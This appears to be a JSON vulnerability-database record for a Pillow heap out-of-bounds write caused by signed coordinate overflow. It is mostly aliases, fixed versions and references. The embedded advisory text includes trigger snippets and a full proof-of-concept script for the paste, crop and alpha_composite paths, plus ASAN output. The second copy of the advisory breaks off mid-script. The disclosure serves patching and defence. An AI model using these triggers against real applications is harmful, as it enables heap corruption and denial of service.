{"id":"CVE-2026-59199","aliases":["BIT-pillow-2026-59199","CLSA-2026-1786515922","CLSA-2026-1787039243","CLSA-2026-1790670270","CLSA-2026-1790674233","CLSA-2026-1790747079","CLSA-2026-1790754735","CLSA-2026-1792164435","DEBIAN-CVE-2026-59199","EUVD-2026-43739","GHSA-6r8x-57c9-28j4","MGASA-2026-0463","OESA-2026-3185","OESA-2026-3186","OESA-2026-3187","OESA-2026-3188","OESA-2026-3189","PYSEC-2026-3451","ROOT-APP-PYPI-CVE-2026-59199","SUSE-SU-2026:23217-1","SUSE-SU-2026:23228-1","SUSE-SU-2026:3084-1","SUSE-SU-2026:3268-1","UBUNTU-CVE-2026-59199","USN-8999-1","openSUSE-SU-2026:21544-1"],"status":"published","title":"Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow","description":"Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00385,"percentile":0.32939,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-190","CWE-787"],"published":"2026-07-14T15:42:15Z","modified":"2026-11-06T11:15:04Z","fixes":[{"ecosystem":"PyPI","package":"pillow","fixed_in":["12.3.0"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"pillow","fixed_in":["12.3.0"],"sources":["osv"]},{"ecosystem":"TuxCare:PyPI","package":"pillow","fixed_in":["10.4.0.post3+tuxcare"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"pillow","fixed_in":["12.3.0-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"pillow","fixed_in":["11.2.1+aikido.3","11.2.1+aikido.4","12.1.0+aikido.11","12.2.0+aikido.4","11.2.1+aikido.5","9.3.0+aikido.12","9.5.0+aikido.11","12.2.0+aikido.5","9.3.0+aikido.13","10.4.0+aikido.11","12.1.0+aikido.12","11.2.1+aikido.6","11.1.0+aikido.11","10.3.0+aikido.13","11.0.0+aikido.10","11.2.1+aikido.7","9.3.0+aikido.14","11.1.0+aikido.12","9.5.0+aikido.12","12.2.0+aikido.6","10.4.0+aikido.12","9.3.0+aikido.15","11.1.0+aikido.13","12.1.0+aikido.13","10.3.0+aikido.14","11.0.0+aikido.11","9.3.0+aikido.16","10.3.0+aikido.15","10.4.0+aikido.13","9.3.0+aikido.17","9.5.0+aikido.13","11.2.1+aikido.8","11.0.0+aikido.12","11.1.0+aikido.14","12.1.0+aikido.14","12.2.0+aikido.7","10.3.0+aikido.16","10.4.0+aikido.14","11.1.0+aikido.15","11.2.1+aikido.9","10.2.0+aikido.1","12.2.0+aikido.8","9.0.1+aikido.1","10.4.0+aikido.15","12.1.0+aikido.15","9.0.1+aikido.2","10.3.0+aikido.17","8.0.1+aikido.1","11.0.0+aikido.13","9.5.0+aikido.14","8.1.2+aikido.1","8.0.1+aikido.2","10.4.0+aikido.16","10.1.0+aikido.1","10.0.0+aikido.1","10.3.0+aikido.18","10.2.0+aikido.2","10.3.0+aikido.19","10.4.0+aikido.17","10.3.0+aikido.20","8.2.0+aikido.1","9.4.0+aikido.1","9.0.0+aikido.1","9.0.0+aikido.2","11.0.0+aikido.14","7.0.0+aikido.2","7.0.0+aikido.3","12.2.0+aikido.9","9.5.0+aikido.15","9.5.0+aikido.16","9.5.0+aikido.17","9.5.0+aikido.18","9.5.0+aikido.19","10.4.0+aikido.18"],"sources":["osv"]},{"ecosystem":"Ubuntu:22.04:LTS","package":"pillow","fixed_in":["9.0.1-1ubuntu0.6"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"pillow","fixed_in":["10.2.0-1ubuntu1.4"],"sources":["osv"]},{"ecosystem":"Ubuntu:26.04:LTS","package":"pillow","fixed_in":["12.1.1-2ubuntu1.4"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"pillow","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.2.1"},{"fixed":"11.2.1.post4+tuxcare"}]}],"versions":["11.2.1","11.2.1.post1+tuxcare","11.2.1.post2+tuxcare","11.2.1.post3+tuxcare"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.4.0"},{"fixed":"10.4.0.post3+tuxcare"}]}],"versions":["10.4.0","10.4.0.post1+tuxcare","10.4.0.post2+tuxcare"]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.5.0"},{"fixed":"9.5.0.post6+tuxcare"}]}],"versions":["9.5.0","9.5.0.post1+tuxcare","9.5.0.post2+tuxcare","9.5.0.post3+tuxcare","9.5.0.post4+tuxcare","9.5.0.post5+tuxcare"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.3.0"},{"fixed":"11.3.0.post5+tuxcare"}]}],"versions":["11.3.0","11.3.0.post1+tuxcare","11.3.0.post2+tuxcare","11.3.0.post3+tuxcare","11.3.0.post4+tuxcare"],"bundled":14},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.0"},{"fixed":"9.4.0.post8+tuxcare"}]}],"versions":["9.4.0","9.4.0.post1+tuxcare","9.4.0.post2+tuxcare","9.4.0.post3+tuxcare","9.4.0.post4+tuxcare","9.4.0.post5+tuxcare","9.4.0.post6+tuxcare","9.4.0.post7+tuxcare"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.4.0"},{"fixed":"8.4.0.post8+tuxcare"}]}],"versions":["8.4.0","8.4.0.post1+tuxcare","8.4.0.post2+tuxcare","8.4.0.post3+tuxcare","8.4.0.post4+tuxcare","8.4.0.post5+tuxcare","8.4.0.post6+tuxcare","8.4.0.post7+tuxcare"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"python-pil","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.0-1ubuntu0.8+tuxcare.els2"}]}],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"python-pil-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.0-1ubuntu0.8+tuxcare.els2"}]}],"bundled":2},{"source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16.0","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.3.0-160000.8.1"}]}],"bundled":7}],"products":[{"vendor":"python","product":"pillow"},{"vendor":"python-pillow","product":"pillow"}],"references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://github.com/python-pillow/Pillow/pull/9703","tags":["x_refsource_MISC","Exploit","Issue Tracking","Patch","fix","web","report"]},{"url":"https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0","tags":["x_refsource_MISC","Release Notes","article","web","advisory","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59199","tags":["web","advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-6r8x-57c9-28j4"},{"url":"https://errata.tuxcare.com/els_os/ubuntu18.04els/CLSA-2026-1792164435.html","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54058","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59199.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-59199","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2026-0463.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=35909","tags":["report"]},{"url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","tags":["web"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3185","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59197","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59198","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59205","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3186","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59200","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3187","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3188","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3189","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623217-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1271418","tags":["report"]},{"url":"https://bugzilla.suse.com/1271419","tags":["report"]},{"url":"https://bugzilla.suse.com/1271420","tags":["report"]},{"url":"https://bugzilla.suse.com/1271421","tags":["report"]},{"url":"https://bugzilla.suse.com/1271422","tags":["report"]},{"url":"https://bugzilla.suse.com/1271424","tags":["report"]},{"url":"https://bugzilla.suse.com/1271425","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54058","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59197","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59198","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59199","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59200","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59204","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59205","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623228-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263084-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263268-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1270409","tags":["report"]},{"url":"https://bugzilla.suse.com/1270410","tags":["report"]},{"url":"https://bugzilla.suse.com/1270411","tags":["report"]},{"url":"https://bugzilla.suse.com/1270412","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54059","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54060","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55379","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55380","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-59199","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59199","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8999-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-54058","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-54059","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-54060","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-55379","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-55380","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-59197","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-59200","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-59203","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-59204","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-59205","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-59199","title":"Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow","description":"Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-14T15:42:15.071Z","modified":"2026-07-15T14:53:39.59Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-11-02T14:19:58.944663Z"}],"euvd":[{"id":"EUVD-2026-43739","description":"Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-14T15:42:15Z","modified":"2026-07-15T14:53:39Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T18:19:52.740004Z"}],"ghsa":[{"id":"GHSA-6r8x-57c9-28j4","title":"Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow","description":"### Summary\n\nPillow's public image coordinate APIs can trigger a native heap out-of-bounds\nwrite when given coordinates near the signed 32-bit integer limits. In 4-byte\npixel modes such as `RGBA`, this becomes a controlled backward heap underwrite:\nfor a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes\nstarting `4 * W` bytes before the destination row pointer. With successful large\nimage allocation, the theoretical upper bound is ~2 GiB backwards from\nthe destination row.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image\n\nINT_MIN = -(1 \u003c\u003c 31)\n\nsrc = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\ndst = Image.new(\"RGBA\", (8, 1))\ndst.paste(src, ((1 \u003c\u003c 31) - 2, 0, INT_MIN, 1))\n```\n\nThe same root cause is also reachable through `Image.crop()` and\n`Image.alpha_composite()`. No private API, ctypes, custom Python object, or\nmalformed image file is needed.\n\nThis has been confirmed as an ASAN heap-buffer-overflow write. On normal\nnon-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with\n`double free or corruption (out)`\n\n### Details\n\n`src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native\n`ImagingCore.paste()` method:\n\n```python\nself.im.paste(source, box)\n```\n\n`src/_imaging.c:_paste()` parses the four Python coordinates into signed `int`\nvalues and calls `ImagingPaste()`:\n\n```c\nint x0, y0, x1, y1;\nPyArg_ParseTuple(args, \"O(iiii)|O!\", \u0026source, \u0026x0, \u0026y0, \u0026x1, \u0026y1, ...);\nstatus = ImagingPaste(self-\u003eimage, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);\n```\n\n`src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using\nsigned `int` arithmetic:\n\n```c\nxsize = dx1 - dx0;\nysize = dy1 - dy0;\n\nif (dx0 + xsize \u003e imOut-\u003exsize) {\n    xsize = imOut-\u003exsize - dx0;\n}\n```\n\nWith `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`.\nThat matches the 2-pixel source image, so the size check passes. The later\n`dx0 + xsize` clip check wraps around and does not reject the out-of-bounds\ndestination.\n\nFor 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by\n`pixelsize`:\n\n```c\ndx *= pixelsize;\nxsize *= pixelsize;\nmemcpy(imOut-\u003eimage[y + dy] + dx, imIn-\u003eimage[y + sy] + sx, xsize);\n```\n\nFor the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the\ndestination row allocation.\n\nThe primitive scales with the attacker-controlled source width:\n\n```text\nsource width = W\nbox = ((1 \u003c\u003c 31) - W, 0, INT_MIN, 1)\n\nC destination offset = -4 * W\nC memcpy size        =  4 * W\nwrite range          = [row_start - 4W, row_start)\n```\n\nExamples for `RGBA`:\n\n```text\nW = 2         -\u003e writes 8 bytes before the row\nW = 1024      -\u003e writes 4096 bytes before the row\nW = 65536     -\u003e writes 256 KiB before the row\nW = 1000000   -\u003e writes about 4 MiB before the row\n```\n\nPillow's image creation guard currently limits `xsize` to roughly\n`INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is\n`2,147,483,640` bytes before the destination row pointer. In practice, the\nusable range depends on memory availability, allocator layout, and process heap\nstate.\n\nTwo other documented APIs reach the same sink:\n\n```python\n# Image.crop() path\nleft = INT_MIN + 2\nImage.new(\"RGBA\", (2, 1)).crop((left, 0, left + 2, 1))\n\n# Image.alpha_composite() path, via its internal crop()\nbase = Image.new(\"RGBA\", (2, 1))\nover = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\nbase.alpha_composite(over, dest=(left, 0))\n```\n\n`Image.crop()` keeps `right - left` small, so the Python decompression-bomb\ncheck allows it. `src/libImaging/Crop.c` then computes wrapped paste\ncoordinates and calls `ImagingPaste()`.\n\n### PoC\n\nThe following standalone script exercises all three public API paths. Save it\nas `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport sys\n\nfrom PIL import Image\n\n\nINT_MIN = -(1 \u003c\u003c 31)\n\n\ndef rgba_pattern(width):\n    out = bytearray()\n    for i in range(width):\n        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))\n    return bytes(out)\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"variant\",\n        choices=(\"paste\", \"crop\", \"alpha\"),\n        nargs=\"?\",\n        default=\"paste\",\n    )\n    parser.add_argument(\"-w\", \"--width\", type=int, default=2)\n    args = parser.parse_args()\n\n    width = args.width\n    src = Image.frombytes(\"RGBA\", (width, 1), rgba_pattern(width))\n\n    if args.variant == \"paste\":\n        box = ((1 \u003c\u003c 31) - width, 0, INT_MIN, 1)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=paste box={box}\")\n        print(f\"expected C dst offset={-4 * width}, write_size={4 * width}\")\n        sys.stdout.flush()\n        dst.paste(src, box)\n        print(\"paste returned; first row:\", dst.tobytes().hex())\n\n    elif args.variant == \"crop\":\n        left = INT_MIN + width\n        box = (left, 0, left + width, 1)\n        print(f\"variant=crop box={box}\")\n        sys.stdout.flush()\n        out = src.crop(box)\n        print(\"crop returned; output:\", out.tobytes().hex())\n\n    else:\n        dest = (INT_MIN + width, 0)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=alpha dest={dest}\")\n        sys.stdout.flush()\n        dst.alpha_composite(src, dest=dest)\n        print(\"alpha_composite returned; first row:\", dst.tobytes().hex())\n\n    sys.stdout.flush()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nRun against an ASAN build:\n\n```bash\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py paste\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py crop\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py alpha\n```\n\nObserved ASAN signature for the direct `Image.paste()` path:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\n_paste /out/src/src/_imaging.c:1461\n0x... is located 8 bytes before 32-byte region\n```\n\nOn non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal\n`Image.paste()` trigger returns from `paste()` and then the process aborts\nduring cleanup with:\n\n```text\ndouble free or corruption (out)\nAborted (core dumped)\n```\n\nObserved ASAN signature for the `Image.crop()` and `Image.alpha_composite()`\npaths:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\nImagingCrop /out/src/src/libImaging/Crop.c:57\n_crop /out/src/src/_imaging.c:1090\n```\n## Suggested fix\n\nAvoid signed overflow in paste/crop coordinate arithmetic. Use checked\narithmetic or a wider type before calculating widths and clipped endpoints.\n\nFor example, reject boxes whose endpoint subtraction cannot be represented\ncleanly, and clip using non-overflowing comparisons:\n\n```c\nint64_t xsize64 = (int64_t)dx1 - dx0;\nint64_t ysize64 = (int64_t)dy1 - dy0;\n\nif (xsize64 \u003c 0 || ysize64 \u003c 0 || xsize64 \u003e INT_MAX || ysize64 \u003e INT_MAX) {\n    return ImagingError_ValueError(\"bad box\");\n}\n```\n\n`ImagingCrop()` should receive the same treatment for `sx1 - sx0`,\n`dx0 = -sx0`, and `dx1 = imIn-\u003exsize - sx0`.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough documented public image APIs.\n\nApplications are impacted if an untrusted user can control image operation\ncoordinates passed to Pillow, for example crop boxes, paste boxes, or overlay\npositions. The bytes written in the direct `Image.paste()` variant are copied\nfrom the source image, so attacker-controlled source pixels can influence the\nout-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose\noffset and length are both `4 * source_width`, bounded in practice by successful\nimage allocation and heap layout.","status":"published","published":"2026-07-20T23:09:53Z","modified":"2026-07-20T23:09:54Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-11-02T14:40:48.410776Z"}],"nvd":[{"id":"CVE-2026-59199","description":"Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-14T16:17:01.937Z","modified":"2026-10-24T21:10:00.13Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-11-02T14:12:29.114188Z"}],"osv":[{"id":"CVE-2026-59199","title":"Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow","description":"Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-14T15:42:15.071Z","modified":"2026-10-28T11:10:07.364419881Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"DEBIAN-CVE-2026-59199","description":"Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-14T16:17:01.937Z","modified":"2026-10-25T10:01:13.074150029Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:57.932517Z"},{"id":"GHSA-6r8x-57c9-28j4","title":"Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow","description":"### Summary\n\nPillow's public image coordinate APIs can trigger a native heap out-of-bounds\nwrite when given coordinates near the signed 32-bit integer limits. In 4-byte\npixel modes such as `RGBA`, this becomes a controlled backward heap underwrite:\nfor a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes\nstarting `4 * W` bytes before the destination row pointer. With successful large\nimage allocation, the theoretical upper bound is ~2 GiB backwards from\nthe destination row.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image\n\nINT_MIN = -(1 \u003c\u003c 31)\n\nsrc = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\ndst = Image.new(\"RGBA\", (8, 1))\ndst.paste(src, ((1 \u003c\u003c 31) - 2, 0, INT_MIN, 1))\n```\n\nThe same root cause is also reachable through `Image.crop()` and\n`Image.alpha_composite()`. No private API, ctypes, custom Python object, or\nmalformed image file is needed.\n\nThis has been confirmed as an ASAN heap-buffer-overflow write. On normal\nnon-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with\n`double free or corruption (out)`\n\n### Details\n\n`src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native\n`ImagingCore.paste()` method:\n\n```python\nself.im.paste(source, box)\n```\n\n`src/_imaging.c:_paste()` parses the four Python coordinates into signed `int`\nvalues and calls `ImagingPaste()`:\n\n```c\nint x0, y0, x1, y1;\nPyArg_ParseTuple(args, \"O(iiii)|O!\", \u0026source, \u0026x0, \u0026y0, \u0026x1, \u0026y1, ...);\nstatus = ImagingPaste(self-\u003eimage, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);\n```\n\n`src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using\nsigned `int` arithmetic:\n\n```c\nxsize = dx1 - dx0;\nysize = dy1 - dy0;\n\nif (dx0 + xsize \u003e imOut-\u003exsize) {\n    xsize = imOut-\u003exsize - dx0;\n}\n```\n\nWith `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`.\nThat matches the 2-pixel source image, so the size check passes. The later\n`dx0 + xsize` clip check wraps around and does not reject the out-of-bounds\ndestination.\n\nFor 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by\n`pixelsize`:\n\n```c\ndx *= pixelsize;\nxsize *= pixelsize;\nmemcpy(imOut-\u003eimage[y + dy] + dx, imIn-\u003eimage[y + sy] + sx, xsize);\n```\n\nFor the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the\ndestination row allocation.\n\nThe primitive scales with the attacker-controlled source width:\n\n```text\nsource width = W\nbox = ((1 \u003c\u003c 31) - W, 0, INT_MIN, 1)\n\nC destination offset = -4 * W\nC memcpy size        =  4 * W\nwrite range          = [row_start - 4W, row_start)\n```\n\nExamples for `RGBA`:\n\n```text\nW = 2         -\u003e writes 8 bytes before the row\nW = 1024      -\u003e writes 4096 bytes before the row\nW = 65536     -\u003e writes 256 KiB before the row\nW = 1000000   -\u003e writes about 4 MiB before the row\n```\n\nPillow's image creation guard currently limits `xsize` to roughly\n`INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is\n`2,147,483,640` bytes before the destination row pointer. In practice, the\nusable range depends on memory availability, allocator layout, and process heap\nstate.\n\nTwo other documented APIs reach the same sink:\n\n```python\n# Image.crop() path\nleft = INT_MIN + 2\nImage.new(\"RGBA\", (2, 1)).crop((left, 0, left + 2, 1))\n\n# Image.alpha_composite() path, via its internal crop()\nbase = Image.new(\"RGBA\", (2, 1))\nover = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\nbase.alpha_composite(over, dest=(left, 0))\n```\n\n`Image.crop()` keeps `right - left` small, so the Python decompression-bomb\ncheck allows it. `src/libImaging/Crop.c` then computes wrapped paste\ncoordinates and calls `ImagingPaste()`.\n\n### PoC\n\nThe following standalone script exercises all three public API paths. Save it\nas `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport sys\n\nfrom PIL import Image\n\n\nINT_MIN = -(1 \u003c\u003c 31)\n\n\ndef rgba_pattern(width):\n    out = bytearray()\n    for i in range(width):\n        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))\n    return bytes(out)\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"variant\",\n        choices=(\"paste\", \"crop\", \"alpha\"),\n        nargs=\"?\",\n        default=\"paste\",\n    )\n    parser.add_argument(\"-w\", \"--width\", type=int, default=2)\n    args = parser.parse_args()\n\n    width = args.width\n    src = Image.frombytes(\"RGBA\", (width, 1), rgba_pattern(width))\n\n    if args.variant == \"paste\":\n        box = ((1 \u003c\u003c 31) - width, 0, INT_MIN, 1)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=paste box={box}\")\n        print(f\"expected C dst offset={-4 * width}, write_size={4 * width}\")\n        sys.stdout.flush()\n        dst.paste(src, box)\n        print(\"paste returned; first row:\", 